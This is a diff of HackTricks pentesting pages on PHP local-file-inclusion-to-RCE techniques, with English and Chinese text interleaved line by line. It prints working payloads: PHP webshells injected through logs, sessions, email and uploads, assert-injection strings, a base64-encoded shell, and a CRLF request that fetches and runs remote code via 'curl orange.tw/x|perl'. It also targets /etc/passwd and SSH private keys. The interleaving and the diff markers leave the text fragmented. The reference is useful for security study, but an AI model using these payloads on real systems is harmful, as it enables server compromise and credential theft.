非常简要的总结:在 PHP 堆中滥用 **3 字节溢出****更改特定大小的空闲块链**,以便能够 **在任何地址写入任何内容**,因此添加了一个钩子来调用 **`system`**。\
可以通过滥用更多 PHP 过滤器来分配特定大小的块。
### More protocols
### 更多协议
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
查看更多可能的 [**协议以包含在此**](https://www.php.net/manual/en/wrappers.php)****
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
## LFI via PHP's 'assert'
## 通过 PHP 的 'assert' 进行 LFI
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
在处理 'assert' 函数时PHP 中的本地文件包含LFI风险显著较高因为它可以在字符串中执行代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
例如PHP 代码可能被设计为防止目录遍历,如下所示:
```bash
assert("strpos('$file', '..') === false") or die("");
```
While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use:
虽然这旨在阻止遍历,但不经意间创建了代码注入的向量。为了利用这一点读取文件内容,攻击者可以使用:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Similarly, for executing arbitrary system commands, one might use:
同样,对于执行任意系统命令,可以使用:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
重要的是要**对这些有效负载进行URL编码**。
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**加入我们在** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
## PHP Blind Path Traversal
## PHP盲路径遍历
> [!WARNING]
> This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.
> 该技术适用于您**控制**一个**PHP函数**的**文件路径**的情况,该函数将**访问一个文件**但您看不到文件的内容(如简单调用**`file()`**),但内容不会显示。
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
在[**这篇精彩的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**,以至于**打开**该文件的**PHP函数**将触发一个**错误**。
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
然后,为了泄露第一个字符,使用过滤器**`dechunk`**,以及其他如**base64**或**rot13**,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**可能存在漏洞的函数**`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅限目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
有关技术细节,请查看上述文章!
## LFI2RCE
### Remote File Inclusion
### 远程文件包含
Explained previously, [**follow this link**](./#remote-file-inclusion).
如前所述,[**请访问此链接**](./#remote-file-inclusion)。
### Via Apache/Nginx log file
### 通过Apache/Nginx日志文件
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
如果Apache或Nginx服务器在包含函数中**易受LFI攻击**,您可以尝试访问**`/var/log/apache2/access.log``/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell如**`<?php system($_GET['c']); ?>`**并包含该文件。
> [!WARNING]
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
> 请注意如果您为shell使用双引号而不是**单引号**,双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出错误**,并且**不会执行其他任何内容**。
>
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
> 此外,请确保**正确编写有效负载**否则每次尝试加载日志文件时PHP都会出错您将没有第二次机会。
这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码并在日志中解码。PHPShell可以插入到此头部中。\
其他可能的日志路径:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -531,187 +474,166 @@ Other possible log paths:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
模糊测试字典: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### 通过电子邮件
### Via Email
**发送邮件**到内部账户 (user@localhost),包含你的 PHP 负载,如 `<?php echo system($_REQUEST["cmd"]); ?>`,并尝试包含用户的邮件,路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
### 通过 /proc/\*/fd/\*
### Via /proc/\*/fd/\*
1. 上传大量的 shell例如100
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID可以暴力破解$FD 是文件描述符(也可以暴力破解)
1. Upload a lot of shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
### Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
### 通过 /proc/self/environ
像日志文件一样,在 User-Agent 中发送负载,它将反映在 /proc/self/environ 文件中
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### 通过上传
### Via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
如果您可以上传文件,只需在其中注入 shell 负载 (例如:`<?php system($_GET['c']); ?>`)。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
为了保持文件的可读性,最好将其注入到图片/doc/pdf 的元数据中。
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
### Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
### 通过 ZIP 文件上传
上传一个包含压缩 PHP shell 的 ZIP 文件并访问:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### 通过 PHP 会话
### Via PHP sessions
Check if the website use PHP Session (PHPSESSID)
检查网站是否使用 PHP 会话 (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
在 PHP 中,这些会话存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中。
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
将 cookie 设置为 `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
使用 LFI 包含 PHP 会话文件
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### 通过 ssh
### Via ssh
如果 ssh 处于活动状态,请检查正在使用的用户(/proc/self/status & /etc/passwd并尝试访问 **\<HOME>/.ssh/id_rsa**
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id_rsa**
### **通过** **vsftpd** _**日志**_
### **Via** **vsftpd** _**logs**_
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地文件包含LFI漏洞的情况下并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
1. 在登录过程中将 PHP 有效负载注入到用户名字段中。
2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索服务器日志。
1. Inject a PHP payload into the username field during the login process.
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
### 通过 php base64 过滤器(使用 base64
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64它只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### 通过 php 过滤器(无需文件)
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 进行包含 **而无需将其写入** 文件。
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
### 通过段错误
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
**上传** 一个将被存储为 **临时** 文件在 `/tmp`,然后在 **同一请求中** 触发 **段错误**,然后 **临时文件将不会被删除**,你可以搜索它。
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### 通过 Nginx 临时文件存储
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
如果你发现了 **本地文件包含** 并且 **Nginx** 在 PHP 前面运行,你可能能够通过以下技术获得 RCE
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
### 通过 PHP_SESSION_UPLOAD_PROGRESS
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
如果你发现了 **本地文件包含** 即使你 **没有会话** 并且 `session.auto_start``Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**PHP 将 **为你启用会话**。你可以利用这一点获得 RCE
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
### 通过 Windows 中的临时文件上传
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
如果你发现了 **本地文件包含** 并且服务器在 **Windows** 中运行,你可能会获得 RCE
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
### 通过 `pearcmd.php` + URL 参数
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
正如 [**在这篇文章中解释的**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),脚本 `/usr/local/lib/phppearcmd.php` 在 php docker 镜像中默认存在。此外,可以通过 URL 向脚本传递参数,因为它表明如果 URL 参数没有 `=`,则应将其用作参数。
以下请求在 `/tmp/hello.php` 中创建一个内容为 `<?=phpinfo()?>` 的文件:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
以下利用CRLF漏洞获取RCE来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### 通过 phpinfo() (file_uploads = on)
### Via phpinfo() (file_uploads = on)
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
如果你发现了 **Local File Inclusion** 和一个暴露 **phpinfo()** 的文件,且 file_uploads = on你可以获得 RCE
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径**,但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过该检查**
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### 通过永恒等待 + 暴力破解
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
如果你可以利用 LFI **上传临时文件** 并使服务器 **挂起** PHP 执行,你可以 **在数小时内暴力破解文件名** 以找到临时文件:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### 到致命错误
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
如果你包含任何文件 `/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以引发该错误)。
**I don't know how is this useful but it might be.**\
&#xNAN;_&#x45;ven if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**我不知道这有什么用,但可能有用。**\
&#xNAN;_&#x45;即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## 参考
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -720,18 +642,17 @@ If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/pha
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新公告**\
及时了解最新的漏洞赏金计划和重要平台更新
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作吧!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,44 +1,39 @@
# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
# LFI2RCE 通过 compress.zlib + PHP_STREAM_PREFER_STDIO + 路径泄露
{{#include ../../banners/hacktricks-training.md}}
### `compress.zlib://` and `PHP_STREAM_PREFER_STDIO`
### `compress.zlib://` `PHP_STREAM_PREFER_STDIO`
A file opened using the protocol `compress.zlib://` with the flag `PHP_STREAM_PREFER_STDIO` can continue writing data that arrives to the connection later to the same file.
This means that a call such as:
使用协议 `compress.zlib://` 和标志 `PHP_STREAM_PREFER_STDIO` 打开的文件可以继续将稍后到达连接的数据写入同一文件。
这意味着像这样的调用:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
将发送请求,询问 http://attacker.com/file然后服务器可能会用有效的 HTTP 响应来响应请求,保持连接打开,并在稍后发送额外的数据,这些数据也将写入文件。
Will send a request asking for http://attacker.com/file, then the server might respond the request with a valid HTTP response, keep the connection open, and send extra data some time later that will be also written into the file.
You can see that info in this part of the php-src code in main/streams/cast.c:
您可以在 php-src 代码的 main/streams/cast.c 的这一部分看到该信息:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
### 竞争条件到 RCE
### Race Condition to RCE
[**这个 CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) 是使用之前的技巧解决的。
[**This CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) was solved using the previous trick.
攻击者将使 **受害者服务器打开一个连接,从攻击者的服务器读取文件**,使用 **`compress.zlib`** 协议。
The attacker will make the **victim server open a connection reading a file from the attackers server** using the **`compress.zlib`** protocol.
**在**这个 **连接** 存在的同时,攻击者将 **提取临时文件的路径**(它被服务器泄露)。
**While** this **connection** exist the attacker will **exfiltrate the path** to the temp file created (it's leaked by the server).
**在**这个 **连接** 仍然打开的情况下,攻击者将 **利用 LFI 加载他控制的临时文件**
**While** the **connection** is still open, the attacker will **exploit a LFI loading the temp file** that he controls.
然而web 服务器中有一个检查 **防止加载包含 `<?`** 的文件。因此,攻击者将利用 **竞争条件**。在仍然打开的连接中,**攻击者** 将 **在** **webserver** **检查** 文件是否包含禁止字符 **之后** 发送 PHP 负载,但 **在加载其内容之前**
However, there is a check in the web server that **prevents loading files that contains `<?`**. Therefore, the attacker will abuse a **Race Condition**. In the connection that is still open the **attacker** will **send the PHP payload AFTER** the **webserver** has **checked** if the file contains the forbidden characters but **BEFORE it loads its content**.
For more information check the description of the Race Condition and the CTF in [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
有关更多信息,请查看竞争条件和 CTF 的描述 [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,101 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
By default when a file is uploaded to PHP (even if it isn't expecting it), it will generate a temporary file in `/tmp` with a name such as **`php[a-zA-Z0-9]{6}`**, although I have seen some docker images where the generated files don't contain digits.
默认情况下,当文件上传到 PHP即使它不期望这样做它将在 `/tmp` 中生成一个临时文件,名称类似于 **`php[a-zA-Z0-9]{6}`**,尽管我见过一些 docker 镜像生成的文件不包含数字。
In a local file inclusion, **if you manage to include that uploaded file, you will get RCE**.
Note that by default **PHP only allows to upload 20 files in a single request** (set in `/etc/php/<version>/apache2/php.ini`):
在本地文件包含中,**如果你设法包含那个上传的文件,你将获得 RCE**。
请注意,默认情况下,**PHP 仅允许在单个请求中上传 20 个文件**(在 `/etc/php/<version>/apache2/php.ini` 中设置):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
此外,**潜在文件名的数量为 62\*62\*62\*62\*62\*62 = 56800235584**
Also, the **number of potential filenames are 62\*62\*62\*62\*62\*62 = 56800235584**
### 其他技术
### Other techniques
其他技术依赖于攻击 PHP 协议(如果您只控制路径的最后部分,将无法进行攻击)、披露文件路径、滥用预期文件,或**使 PHP 遭受分段错误,以便上传的临时文件不会被删除**。\
这种技术**与最后一种非常相似,但不需要找到零日漏洞**。
Other techniques relies in attacking PHP protocols (you won't be able if you only control the last part of the path), disclosing the path of the file, abusing expected files, or **making PHP suffer a segmentation fault so uploaded temporary files aren't deleted**.\
This technique is **very similar to the last one but without needed to find a zero day**.
### 永久等待技术
### Eternal wait technique
在这种技术中,**我们只需要控制一个相对路径**。如果我们设法上传文件并使**LFI 永远不会结束**,我们将有“足够的时间”来**暴力破解上传的文件**并**找到**任何已上传的文件。
In this technique **we only need to control a relative path**. If we manage to upload files and make the **LFI never end**, we will have "enough time" to **brute-force uploaded files** and **find** any of the ones uploaded.
**这种技术的优点**
**Pros of this technique**:
- 您只需控制包含中的相对路径
- 不需要 nginx 或意外的日志文件访问级别
- 不需要零日漏洞来导致分段错误
- 不需要路径披露
- You just need to control a relative path inside an include
- Doesn't require nginx or unexpected level of access to log files
- Doesn't require a 0 day to cause a segmentation fault
- Doesn't require a path disclosure
这种技术的**主要问题**是:
The **main problems** of this technique are:
- 需要特定的文件存在(可能还有更多)
- **潜在文件名的数量惊人****56800235584**
- 如果服务器**不使用数字**,则总潜在数量为:**19770609664**
- 默认情况下**每个请求只能上传 20 个文件**。
- 使用的服务器的**最大并行工作者数量**。
- 这个限制与之前的限制可能会使攻击持续太久
- **PHP 请求的超时**。理想情况下,这应该是永恒的,或者应该在不删除临时上传文件的情况下终止 PHP 进程,否则这也会很麻烦
- Need a specific file(s) to be present (there might be more)
- The **insane** amount of potential file names: **56800235584**
- If the server **isn't using digits** the total potential amount is: **19770609664**
- By default **only 20 files** can be uploaded in a **single request**.
- The **max number of parallel workers** of the used server.
- This limit with the previous ones can make this attack last too much
- **Timeout for a PHP request**. Ideally this should be eternal or should kill the PHP process without deleting the temp uploaded files, if not, this will also be a pain
So, how can you **make a PHP include never end**? Just by including the file **`/sys/kernel/security/apparmor/revision`** (**not available in Docker containers** unfortunately...).
Try it just calling:
那么,您如何**使 PHP 包含永远不会结束**?只需包含文件**`/sys/kernel/security/apparmor/revision`****在 Docker 容器中不可用**,不幸的是...)。
只需调用:
```bash
php -a # open php cli
include("/sys/kernel/security/apparmor/revision");
```
## Apache2
By default, Apache support **150 concurrent connections**, following [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) it's possible to upgrade this number up to 8000. Follow this to use PHP with that module: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
默认情况下Apache 支持 **150 个并发连接**,根据 [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) 的说法,可以将这个数字提升到 8000。按照此方法使用 PHP 和该模块: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)。
By default, (as I can see in my tests), a **PHP process can last eternally**.
默认情况下,(根据我的测试)**PHP 进程可以永远存在**。
Let's do some maths:
让我们做一些数学计算:
- We can use **149 connections** to generate **149 \* 20 = 2980 temp files** with our webshell.
- Then, use the **last connection** to **brute-force** potential files.
- At a speed of **10 requests/s** the times are:
- 56800235584 / 2980 / 10 / 3600 \~= **530 hours** (50% chance in 265h)
- (without digits) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% chance in 93h)
- 我们可以使用 **149 个连接** 生成 **149 \* 20 = 2980 个临时文件**,通过我们的 webshell。
- 然后,使用 **最后一个连接****暴力破解** 潜在文件。
- **10 请求/秒** 的速度,时间为:
- 56800235584 / 2980 / 10 / 3600 \~= **530 小时**265 小时有 50% 的机会)
- 不带数字19770609664 / 2980 / 10 / 3600 \~= 185 小时93 小时有 50% 的机会)
> [!WARNING]
> Note that in the previous example we are **completely DoSing other clients**!
> 请注意,在前面的例子中,我们正在 **完全 DoS 其他客户端**
If the Apache server is improved and we could abuse **4000 connections** (half way to the max number). We could create `3999*20 = 79980` **files** and the **number** would be **reduced** to around **19.7h** or **6.9h** (10h, 3.5h 50% chance).
如果 Apache 服务器得到改善,我们可以滥用 **4000 个连接**(达到最大数量的一半)。我们可以创建 `3999*20 = 79980` **个文件**,并且 **时间****减少** 到大约 **19.7 小时****6.9 小时**10 小时3.5 小时有 50% 的机会)。
## PHP-FMP
If instead of using the regular php mod for apache to run PHP scripts the **web page is using** **PHP-FMP** (this improves the efficiency of the web page, so it's common to find it), there is something else that can be done to improve the technique.
如果不使用常规的 php mod 来运行 PHP 脚本,而是 **网页使用** **PHP-FMP**(这提高了网页的效率,因此常常可以找到它),还有其他方法可以改善该技术。
PHP-FMP allow to **configure** the **parameter** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
